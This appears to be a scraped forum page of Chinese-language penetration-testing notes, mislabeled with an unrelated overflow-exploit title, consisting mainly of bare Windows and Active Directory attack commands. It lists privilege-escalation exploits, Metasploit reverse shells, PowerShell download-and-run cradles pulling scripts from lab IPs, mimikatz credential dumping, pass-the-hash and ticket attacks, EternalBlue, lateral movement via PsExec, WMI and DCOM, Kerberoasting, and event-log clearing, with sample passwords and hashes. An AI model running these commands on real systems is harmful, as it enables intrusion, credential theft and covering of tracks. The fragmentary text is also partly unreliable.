【漏洞解析】举个小栗子说明溢出漏洞利用原理及其检测原理 – 绿盟科技技术博客
whoami /groups
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
python2 windows-exploit-suggester.py --update
python2 windows-exploit-suggester.py -d 2022-04-14-mssb.xls -i systeminfo.txt
pip install xlrd==1.1.0
Set-ExecutionPolicy Unrestricted
Import-Module .\Sherlock.ps1
find-allvulns
powershell find-ms14058
elevate ms14-058 smb
getuid
利用MSF快速提权
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost [addr]
set port [port]
攻击复现 MS16-032
import-module .\ms16-032.ps1
invoke-ms16-032
-Application cmd.exe -commandline '/c net user 123 123 /add'
常见提权手法:CVE-2018-8120、MS16-032、MS15-051、MS14-058
powershell.exe -nop -exec bypass
Import-Module .\PowerUp.ps1
powershell.exe -exec bypass -Command "& {Import-Module .\Powerup.ps1;Invoke-ALLChecks}"
AbbuseFunction:使用方法
Path:该服务可执行程序的路径
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:/PowerUp.ps1');Install-ServiceBinary -ServiceName 'Webclient' -UserName hack -Password hack123..
Install-ServiceBinary -ServiceName 'Webclient' -UserName rockyou -Password 123
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:/PowerUp.ps1');Write-ServiceBinary -ServiceName 'OpenSShd' -UserName hack-Password hack123..
Write-HijackDll -OutputFile 'C:\Program Files\OpenSSH\bin\\wlbsctrl.dll' -Command 'whoami'
Install-ServiceBinary -ServiceName 'Webclient' -Command "powershell.exe -nop -w hidden -c
$m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();
$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring('http://192.168.91.132:4444/');"
gpedut.msc //组策略
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
powershell.exe -exec bypass -Command "&{Import-Module .\Powerup.ps1}"
powershell.exe -exec bypass -Command "&{Import-Module .\Powerup.psm1}"
powershell.exe -exec bypass -Command "&{Import-Module .\Powerup.psd1}"
Get-RegAlwaysInstallElevated
msiexec /q /i UserAdd.msi
/quiet:禁止发送信息
/quin:不使用GUI图形界面
/i:安装程序
Write-UserAddMSI
use exploiexploit/windows/local/always_install_elevated
只要禁用注册表AlwayInstallElevated就可以阻止攻击者通过MSI文件来提权
C:\yun yun\yun shan\66.exe
C:\66.exe
C:\yun shan\66.exe
C:\yun yun\yun shan\66.exe
利用
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
icacls [目录名]
自动安装配置文件
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\Panther\unattend.xml
dir /b /s C:\Unattend.xml
schtasks /query /fo LIST /v
accesschk.exe -dqv "C:\Microsoft" -accepteula
accesschk64.exe -dqv "C:\Program Files (x86)" -accepteula
accesschk64.exe -uwdqsUsers c:\*.*
C:\Windows\SYSVOL\DOMAINPolicies\
常见的策略组首选项
●映射驱动器(Drives.xml)
●创建本地用户
●数据源(DataSources.xml)
●打印机配置(Printers.xml)
●创建/更新服务(Services.xml)
●计划任务(ScheduledTasks.xml)
gpupdate
手动获取法
C:\Windows\SYSVOL\domain\Policies\{唯一ID}\Machine\Preferences\Groups
gpp-decrypt 加密后的密码
TYPE命令查询
type C:\Windows\SYSVOL\domain\Policies\{EBAD84FD-741B-4275-A23D-584E7744F2E0}\Machine\Preferences\Groups\Groups.xml
Get-GPPPassword.ps1
MSF- /post/windows/gather/credentials/gpp模块
use post/windows/gather/credentials/gpp
set session 2
●Services\Services.xml
●ScheduledTasks\ScheduledTasks.xml
●Printers\Printers.xml
●Drives\Drives.xml
●DataSources\DataSources.xml
防御
高等级:有管理员权限
中等级:有普通用户权限
低等级:权限有限,可以保护在当收到攻击时
需要UAC的授权才能进行的操作列举如下
●配置Windows Update
●增加/删除账户
●更改账户类型
●更改UAC的设置
●安装ActiveX
●安装/卸载程序
●安装设备驱动程序
●将文件移动/复制到Program Files或Windows目录下
●查看其他用户的文件夹
UAC有如下四种设置要求
●始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
●仅在程序试图更改我的计算机时通知我:这是UAC的默认设置当本地Windows程序要使用高级别的权限时,不会通知用户但是,当第三方程序要使用高级别的权限时,会提示本地用户
●仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
●从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
use exploit/windows/local/bypassuac
set lhost [addr]
set session [id]
run
getsystem
chcp 65001
use exploit/windows/local/bypassuac_injection
use exploit/windows/local/ask
Nishang的Invoke-PsUACme
PS> Invoke-PsUaCme -verbose
PS> Invoke-PsUACme -method oobe -Verbose
PS> Invoke-PsUACme -method oobe -Payload "powershell" -windowstyle hidden -e YouEncodePayload
核心:Kerberos协议
MS14-068.exe -u admin@ys.com -p admin123! -s S-1-5-21-735015318-3972860336-672499796 -d ys.com
kerberos::ptc 证书路径
use incognito
list_tokens -u
impersonate_token [user_name]\\[domain_name]
add user hack Hack123. -h 192.168.91.135
add_group_user "domain admins" hack -h 192.168.91.133
net group "domain admins" /domain
net use \\192.168.91.133\c$ A1B2C3... /user:YS\hack
net use \\192.168.91.137\c$ A1B2C3... /user:YS\hack
- 137是我的域控主机net use
net use \\192.168.91.137\c$
echo "i'm hack!" > \\192.168.91.137\c$\hack.txt
dir \\192.168.91.137\c$\
net user hack \del
clearev
migrate [system_pid]
net user ljwsb A1B2C3.. /ad /domain
net group "domain admins" ljwsb /ad /domain
工作流程
简介
提供的服务
介绍
如果目标网络的DNS服务器因发生故障而无法提供服务时,会退回到LLMNR和NBT-NS进行计算机名解析
Responder攻击
git clone [https://github.com/lgandx/Responder](https://github.com/lgandx/Responder)
python3 Responder.py -I eth0
IPC连接
**net use \\192.168.91.137\ipc$ Erqinru.com /user:YS\administrator**
**net use \\ip\ipc$ [password] /user:域名\user**
下载文件
net use Z : \\192.168.91.137\c$
net use \\192.168.91.137 /del
上传文件到指定目录
copy payload.exe \\192.168.91.137
at \\192.168.91.137 10:22AM C:\payload.exe
at \\192.168.91.137 /del
schtasks /create /s 192.168.91.137 /tn test /sc onstart /tr C:payload.exe /ru system /f
schtasks /delete /s 192.168.91.137 /tn "test" /f
LM Hash 和NTLM Hash
KGS!@#$%
本地认证
**%SystemRoot%\system32\config\sam**
NT Hash生成算法
plain 123456
-> 313233343536
-> 16字节 310032003300340035003600
-> MD4 Hash 32ED87BDB5FDC5E9CBA88547376818D4
NT Hash 32ED87BDB5FDC5E9CBA88547376818D4
Net-NTLM Hash
通常使用Responder等工具获取到的就是Net-NTLM,HetHash并不能直接用来PtH,但肯有可能通过暴力破解来获取明文密码
NTLMv1/ v2 时用于Windows环境中身份验证的质询响应协议。它们在算法中使用NT哈希,这意味着可以通过Bute Force/Dictionary攻击将其还原成明文密码,也可以用于中继攻击
工作组NTLM Hash认证
域内NTLM Hash认证
区别
quarkspwdump.exe --dump-hash-local
reg save hklm\sam sam.hive
reg save hklm\system system.hive
lsadump::sam /sam:sam.hive /system:system.hive
privilege::debug
token::elevate
lsadump::sam
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
procdump.exe -accepteula -ma sass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekulsa::logonpasswords full
powershell.exe IEX (New-Object Net.WebClient).DownloadString('[http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz](http://192.168.0.101/Invoke-Mimikatz.ps1');Invoke-Mimikatz)
防范
开启和关闭Wdigest
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
散列值
Windows
sekurlsa::pth /user:administrator /domain:ys.com /ntlm:7f8741d20acf651294920119444ddb67
AES-256密钥进行哈希传递(Pass the Key)
privilege::debug
sekurlsa::ekeys
sekurlsa::pth /user:administrator /domain:ys.com /AES256:051fffef5fdd20c7793875780b59066c437705b1bb59af20c31d8c6d7c5e24a7
mmikatz "privilege::debug" "sekurlsa::tickets /export"
kerberos::purge
mimikatz.exe "kerberos::ptt" C:\票据路径
kekeo "gt::ask /user:administrator domain:ys.com /AES:051fffef5fdd20c7793875780b59066c437705b1bb59af20c31d8c6d7c5e24a7
攻击
kerberos::ptt TGT_administrator@HACKER.TESTLAB_krbtgt~hacker.testlab@HACKER.TESTLAB.kirbi
Windows
PSeXEC.EXE -ACCEPTEULA \\192.168.91.127 -S CMD.EXE
PsExec.exe -accepteula \\192.168.1.17 -s -u administrator -p Tl5201314-++- cmd.exe
关于PsExec
use exploit\windows\smb\Psexec
use exploit\windows\smb\Psexec_psh
后者免杀效果更好,是因为基于Powershell
set rhost 192.168.91.127
set smbuser administrator
set smbpass Erqinrucom
set payload windows/x64/meterpreter/reverse_tcp
set rhost 192.168.91.137
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
wmic /node:192.168.91.137 /user:administrator /password:"Erqinru.com" process call create "cmd.exe /c ipconfig > c:\ip.txt"
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.17 administrator Tl5201314-++-
IEX(New-Object Net.Webclient).DownloadString('http://39.xxx.xxx.210/powersploit/CodeExecution/Invoke-WmiCommand.ps1') // 下载脚本并导入系统
$User = "域名\用户名" // 指定目标系统用户名
$Password = ConvertTo-SecureString -String "文明密码" -AsPlainText -Force // 指定目标系统的密码
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入credential
$Remote = Invoke-WmiCommand -Payload {要执行的命令} -Credential $Cred -ComputerName 目标IP
$Remote.PayloadOutput // 将执行结果输出到屏幕上
$User="域名\用户名" // 指定目标系统用户名
$Password=ConvertTo-SecureString -String "密码" -AsPlainText -Force // 指定目标系统密码
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password // 将账号和密码整合起来,以便导入 Credential中
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "目标机IP" -Credential $Cred // 在远程系统中运行notepad.exe命令
use auxiliaryscanner/smb/smb_ms17-010
show options
set rhost 192.168.91.0/24
set threads 50
exploit
use exploit/windows/smb/ms17_010_eternalbule
use 0
set rhosts 192.168.91.137
set payload windows/x4/meterpreter/reverse_tcp
hashdump
防御
smbexec可以通过文件共享(admin、ipc)在远程系统中执行命令
smbexec.py
代理进内网后使用如下命令进行登录
proxychains python3 smbexec.py hacker.testlab/testuser1:A1B2C3..@192.168.1.4
登录上域控
proxychains python3 smbexec.py hacker.testlab/Administrator:Tl5201314-++-@192.168.1.17
proxychains git clone https://github.com/brav0hax/smbexec.git
chmod +x install.sh && ./install.sh
输入1后回车
安装完成
在安装完成后,直接输入smbexec即可看到主菜单
选修1—扫描
选项2-列举系统管理员用户
选项3-列举当前登录目标系统的用户
选项4-列举当前UAC状态
选项5-列举网络共享目录
选项6-用于在系统中搜寻敏感文件
如配置文件,密码信息,缓存文件等
等待很久
扫描结束
选项7-列举远程登录目标主机的用户
选项8-返回主菜单
选项1-直接生成一个msf payload并运行
这里失败了不知道是为什么
选项2-关闭UAC
选项3-打开UAC(用于复原)
选项4-执行一个powershell脚本
选项5-使用基于PsExec的方式获得目标的一个system权限的shell
均复现失败
**Get-CimInstance win32_DCOMApplocation**
Get-WmiObject -Namespace ROOT\CIMV2 -class win32_DCOMApplication
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView | Get-Member
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.17"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
//或者
[Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.17")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.7.7"))
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
//或者
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1.17")).item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
SPN = serviclass "/" hostname [":"port] ["/" servername]
MSSQLSvc /computer1.hacker.testlab:1433
ExchangeMDB/EXCAS01.hacker.testlab
TERMSERV/EXCAS01.hacker.testlab
WSMAN/EXCAS01.hacker.testlab
参数详解
serviclass:组件名称
hostname:计算机的FQDN(全限定域名,包含域名和主机名)
port:以冒号分隔,表示该服务监听的端口号
servername:一个字符串,可以是服务的专有名称,objectGuid、Internet主机名、全限定域名
自带查询
setspn -T domain -q */*
Import-module .\Discover-PSMSSQLServers
Discover-PSMSSQLServers
Import-module .\Discover-PSInterestingServices
Discover-PSInterestingServices
setspn -A mysql/mysql.ys.com:3306 win2008
setspn -S 服务名/主机名.域名:端口 域名前缀/域用户名
setspn -s Mysql/mysql.ys.com:3306 YS\administrator
**win64.exe amd**
**gpedit.msc**
\计算机配置\Windows 设置\安全设置\本地策略\用户权限分配\作为服务登录
\计算机配置\Windows 设置\安全设置\本地策略\安全选项\网络安全:配置 Kerberos 允许的加密类型
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/mysql.hacker.testlab:3306/testuser1"
一直报错
` + CategoryInfo : InvalidOperation: (:) [New-Object], MethodInvoca
tionException
Add-Type -AssemblyName System.IdentityModel
setspn -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
kerberos::ask /target:MySQL/mysql.hacker.testlab:3306
kerberos::list //列出票据
kerberos::purge //清除票据
kerberos::list /export //导出票据
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 4000.00 | 0 | 2023-07-25 13:01:04 | 深度:1300 普适:1000 可读性 200 稀缺 1000 平台唯一 500 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
ywq
发表于 2023-8-7
大佬带带
评论列表
加载数据中...